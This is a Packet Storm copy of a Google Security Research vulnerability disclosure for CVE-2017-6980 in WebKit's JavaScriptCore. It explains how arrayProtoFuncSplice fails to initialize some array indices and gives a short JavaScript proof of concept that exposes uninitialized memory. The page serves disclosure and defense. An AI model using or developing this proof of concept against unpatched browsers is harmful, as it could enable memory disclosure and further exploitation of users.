Lucene search

K
packetstormGoogle Security ResearchPACKETSTORM:142969
HistoryJun 15, 2017 - 12:00 a.m.

WebKit JSC arrayProtoFuncSplice Initialization Fail

2017-06-1500:00:00
Google Security Research
packetstormsecurity.com
49

0.057 Low

EPSS

Percentile

92.5%

`WebKit: JSC: arrayProtoFuncSplice doesn't initialize all indices.   
  
CVE-2017-6980  
  
  
Here's a snippet of arrayProtoFuncSplice.  
  
EncodedJSValue JSC_HOST_CALL arrayProtoFuncSplice(ExecState* exec)  
{  
...  
result = JSArray::tryCreateForInitializationPrivate(vm, exec->lexicalGlobalObject()->arrayStructureForIndexingTypeDuringAllocation(ArrayWithUndecided), actualDeleteCount);  
if (!result)  
return JSValue::encode(throwOutOfMemoryError(exec, scope));  
  
for (unsigned k = 0; k < actualDeleteCount; ++k) {  
JSValue v = getProperty(exec, thisObj, k + actualStart);  
RETURN_IF_EXCEPTION(scope, encodedJSValue());  
if (UNLIKELY(!v)) {  
continue;  
}  
result->initializeIndex(vm, k, v);  
}  
...  
}  
  
|JSArray::tryCreateForInitializationPrivate| will return an uninitalized JSArray. So the next routine must clear its all indices. But the routine skips holes in |thisObj|. This is fine under normal circumstances because the type of |result| will be ArrayWithUndecided, unless you're having a bad time. We can force |result|'s type to ArrayWithSlowPutArrayStorage by using |JSGlobalObject::haveABadTime|.  
  
PoC:  
function gc() {  
for (let i = 0; i < 0x10; i++)  
new ArrayBuffer(0x1000000);  
}  
  
Array.prototype.__defineGetter__(0x1000, () => 1);  
  
gc();  
  
for (let i = 0; i < 0x100; i++) {  
new Array(0x100).fill(1234.5678);  
}  
  
gc();  
  
print(new Array(0x100).splice(0));  
  
  
  
This bug is subject to a 90 day disclosure deadline. After 90 days elapse  
or a patch has been made broadly available, the bug report will become  
visible to the public.  
  
  
  
  
Found by: lokihardt  
  
`

0.057 Low

EPSS

Percentile

92.5%